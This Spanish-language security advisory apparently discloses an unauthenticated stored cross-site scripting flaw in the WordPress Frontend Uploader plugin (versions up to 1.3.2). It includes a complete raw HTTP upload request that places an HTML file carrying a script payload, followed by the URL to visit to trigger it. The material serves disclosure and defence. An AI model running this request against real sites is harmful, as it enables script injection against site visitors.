
El plugin no impide que se suban archivos HTML a través de su formulario, lo que permite que un usuario no autenticado suba un archivo HTML malicioso que contenga, por ejemplo, JavaScript, el cual se ejecutará cuando alguien acceda directamente al archivo.
Frontend Uploader <= 1.3.2 - Cross-Site Scripting Almacenado No Autenticado
El plugin no impide que se suban archivos HTML a través de su formulario, lo que permite a un usuario no autenticado subir un archivo HTML malicioso que contenga JavaScript, por ejemplo, que se ejecutará cuando alguien acceda directamente al archivo.
En una página/entrada donde esté incrustado el shortcode [fu-upload-form], simplemente suba un archivo HTML a través del formulario generado.
POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------124662954015823207281179831654
Content-Length: 1396
Connection: close
Upgrade-Insecure-Requests: 1
-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="post_ID"
1247
-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="post_title"
test
-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="post_content"
test
-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="files[]"; filename="xss.html"
Content-Type: text/html
<script>alert(/XSS/)</script>
-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="action"
upload_ugc
-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="form_layout"
image
-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="fu_nonce"
021fb612f9
-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="_wp_http_referer"
/wordpress/frontend-uploader-form/
-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="ff"
92b6cbfa6120e13ff1654e28cef2a271
-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="form_post_id"
1247
-----------------------------124662954015823207281179831654--
Luego acceda al archivo subido para activar el XSS, es decir, https://example.com/wp-content/uploads/2021/07/xss.html